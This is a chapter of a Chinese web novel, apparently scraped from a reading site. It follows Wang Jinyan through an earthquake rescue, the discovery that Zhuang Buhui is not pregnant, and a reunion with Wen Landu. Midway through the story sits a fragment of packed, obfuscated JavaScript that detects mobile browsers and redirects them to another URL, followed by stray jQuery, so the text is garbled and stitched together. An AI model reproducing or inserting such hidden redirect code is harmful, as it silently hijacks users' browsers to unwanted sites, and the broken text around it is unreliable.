庄不悔可能会死,她可能救不回她。
她明明已经提前察觉到了,可为什么还是没有来得及?!
混沌复杂的念头,在刹那冲垮了王金妍全部的理智。
她伸出手,紧紧地与庄不悔在废墟外的那只手十指交扣。她握着她被雨水打湿的掌心,就像握住了那双她没来得及抓住、就奔向了大海的主人的手。
王金妍颤抖着,试图将自己的体温渡给对方,但掌心的温度仍在一寸寸流失。
瓢泼的雨幕将她与世界隔绝,也为她的听力蒙上了一层若有似无的薄膜。一切都是那样的虚无缥缈,唯独、唯独……那份失去姐姐的痛,是真实的。
胸口锥心般的刺痛让王金妍濒临崩溃,鲜红的血覆盖掉了暗褐色的旧血。
她就这样一遍又一遍试着扒开、挪动那沉重的碎石,瓦片刺穿了她的掌心,剧烈哭泣带来的缺氧,正在剥夺她清醒的意识,思绪逐渐混沌,麻木感再度将她笼罩——
王金妍不知道自己做了多久的无用功,直到匆匆的脚步声刺破混沌,停在了她的身后。
一个温暖宽大的手掌轻轻压在她的肩头,“金妍,你冷静点。”
大雨滂沱,她们终于等来了救援。
坠落的雨水打湿眼睫,王金妍仰头,顶着一片模糊看向来人,她先是恍惚,后很快就认出了对方。她如同抓住了救命稻草般,猛地扣住了他的手臂,结巴道:“大哥,木、木桩下有人……”
宋书铭搀住她,点头安抚道:“好。”
宋书铭带来了一行人,他本想安排王金妍先去处理伤口,但拗不过她要确认庄不悔的平安,只好让她和郎宁待在一处。
耳畔响起了他们一同施救的口号,在异口同声的倒数下,那压在庄不悔身上无法撼动的木桩,终于有了松动的痕迹,而她也看清了木桩之下的景象——
瞳孔骤然一缩,她无声地倒抽了一口凉气。
被废墟压住的人,并不只有庄不悔,还有宋竞鹰。
庄不悔就那样倒着,将那个可恨的男人牢牢护在身下,任凭沉重的木桩压着自己的双腿与脊柱。
看着眼前这一幕,王金妍竟格外想笑,她抽动着唇角,笑声还未溢出,就听见救援队中再次传出一声惊呼——
她向前迈步,脱离了郎宁的伞。
当意识再度沐浴在彻骨的雨水下时,王金妍才恍觉自己看见了什么。
汩汩的鲜血被雨染成了淡色,宋竞鹰仰面朝上,周身的红由深至浅散开。在他偏离心脏的胸口处,正赫然插着一把染血的尖刀。
刺耳的嗡鸣声在耳边炸响,王金妍伫立在原地,错愕地看了看正在被抬上担架的庄不悔,又看了看浑身浴血的宋竞鹰,“……”
目睹了这一切的宋书铭与郎宁,先是蹙眉沉默,随后冷静地将两人托付给了卫生员,奔赴了下一场救援。
体力透支的王金妍,则被安排着与卫生员们一道。
当卫生员们从她身旁匆匆而过,王金妍才如梦初醒般拉住了其中一人。她指着庄不悔,慌张开口:“同、同志,她、她怀孕了,拜托你们先看看……”
篷布被雨水打得啪嗒作响,王金妍身上的伤口被简单处理了下。
她呆坐在帐篷内,望着外面不断走过的救援队,有些无所适从。
过量的信息让她的大脑超载,她缓慢又迟滞地转动了两下眼珠,才看向了距离她不远处正昏迷着等待转运的庄不悔和宋竞鹰。
宋书铭带来的卫生员并不多,医疗资源肉眼可见的匮乏。
两人伤势都不轻,宋竞鹰胸口的那柄尖刀插得很深,卫生员做了急救措施后,情况仍旧危急得需要立即转运到宁城中心医院,可现在大雨倾盆,山路难行……
而庄不悔,她的双腿与脊柱都受了伤,简单的检查并不能查明具体状况,她的孩子——
“……她应该没有怀孕。”
“什么?”
卫生员又仔细检查了一番,正色道:“她没有怀孕。”
“这不可能,会不会是因为早期难查,她、她平常恶心,干呕……”王金妍努力回想着那日学生父母的说辞,但说着说着发现,那似乎也并不是她亲眼所见,“……”
庞大的医疗工作,让卫生员格外焦躁。
对方撂下一句等到医院再看看后,便疾步离去,留下一头雾水的她。
静默片刻,王金妍才踉跄着起身,踱步到庄不悔的身边。
她衣衫破败、浑身血污,却睡得很安详,唇角也微微扬着,似乎沉浸在了美梦当中。
王金妍已经不想去深究为什么庄不悔没有怀孕,她太累了,累到不愿考虑太多。她只知道这个消息让一直压着她胸口的那块巨石有了细微松动,而她也终于能长长地吐一口气。
她用指尖理了理庄不悔脸上带泥的发丝,轻声道:“庄不悔,他们都说你是祸害。”
“祸害遗千年。”她突然笑了,“你可千万别死啊。”
笑声低低的,眼眶热热的,一种与在暴雨下近似又有些不同的心境拥住了她。
王金妍又静静瞧了庄不悔许久,才转身走向帐篷外。
帐篷内躺着不少的伤员,空间极其狭窄。
每一次的迈步都牵动着膝盖,伤痛让王金妍踉踉跄跄的,在挤过两个担架间时,她无意碰到了宋竞鹰的手臂。
他仍昏迷着,但置于腹部的手却因此滑落,只听一声微弱的滚动,有什么东西顺着他的指缝掉了。
王金妍循声瞧去,那是一圈红绳,红绳的尾端正系着一颗沾血的金豆子。
她忍着疼,俯身捡起后,重新将它塞回了宋竞鹰的手中。
离开帐篷后,王金妍加入了救援工作。
起初她还能勉力支持,但随着伤员越来越多、工作量开始加重,她受伤的双腿也逐渐发麻、肿胀、难以直立。她只能依靠反复刺激掌心的伤口,用痒疼维持清醒。
直到天边透进第一缕微光,王金妍终于从郎宁的口中,得到了王兰英平安的消息。
那紧绷着的最后一根弦断了,她毫无预兆地双腿一软,向前瘫去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258362|187742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>还好郎宁眼疾手快,抱住了她。
“金妍,你先回去休息吧。”她提议道。
王金妍摇头,想拒绝,但她忽然觉得伤口很疼,身体很沉,连喉咙都如刀割般刺痛,只好点头应道:“好。”
这场雨,给临海村灰蒙蒙的天镀上了一层澄澈的蓝。
王金妍迟缓地朝家走去,浑身麻木地连抬头的力气都没有,恍神间,一滴水珠滚落眼尾,她抬手一擦,一片血红。
她嗅了嗅,是血,但不是她的。
临海村不在震中心,却是受灾相对严重的村落之一,地表开裂、房屋坍塌,空气中弥漫的血腥气早就被骤降的阵雨冲刷殆尽,可烙印在这片土地上的伤痕却不会轻易消散。
王金妍站在土坡上,眺望着眼前这个承载了她全部恨意、又在一夕之间化为废墟的故乡,竟感受不到丝毫的畅快。
太阳初升,海面泛起了微弱的粼光。
她扭头看去,只见亮眼的光从天际边蔓延开来,刺得她双眼发花。她久久凝视着,呢喃道:“姐,小兰英长大了。”
“……她啊,依旧调皮、依旧活泼、依旧每天嚷嚷着想要抱大黄睡觉。”她轻笑了一声,“但是你放心,我没同意,哈哈。她的学习也很好,身体也很棒,能吃饱穿暖。这次地震,她也没事,很平安。这几年,我……做得还算不错吧?”
她扯了扯嘴角,想要笑得再好看一些,可刚动,又一滴水珠从眼尾滚落。
这回她尝了尝,是苦的。
王金妍轻抹了下脸,才看向山顶的老屋,远远瞧去,她家竟然没塌。
抱着想要睡个好觉的念头,她又一次拖着双腿朝山上走去,鞋底擦过地面,沙沙作响,她低着头,只一味前行。
不知道自己走了多久,眼前终于出现上山的路口。
就在她想咬牙再努把力时,身后传来了一阵脚步声。
脚步声并不急促,却带着一丝慌乱与不确定。
大脑的迟滞让王金妍没能立即做出反应,她又走了两步,才意识到身后的那人似是来找她的。
……估计还是人手不够。
她沉沉叹了口气,才转身抬眸,却在瞥见来人时,瞳孔骤然一缩。
稍有平息的心跳,在她疲倦不堪的体内掀起巨浪,沸腾的血液炙烤着眼眶,“……”
两年?三年?还是四年?
她有多久没见过他了?她怎么会在这里见到他?她……在做梦吗?
王金妍愣在原地,看着那个日思夜想的人一步步走向自己。
他下颌泛青,头发四面翘起,乱糟糟得像个疲颓的流浪汉。但那双眼睛,那双总是让她心动、让她失语的眼睛,此刻却亮得惊人。
她在他的眼底,看见了自己错愕的倒影。
纷乱的情绪拥堵在喉间,眼眶徘徊着湿润的泪意,嘴巴开开合合,总觉得要说些什么,她却什么都说不出,“……”
温兰杜在距离她只有一步远的前方停步,轻笑道:“好久不见。”
“你……过得还好吗?”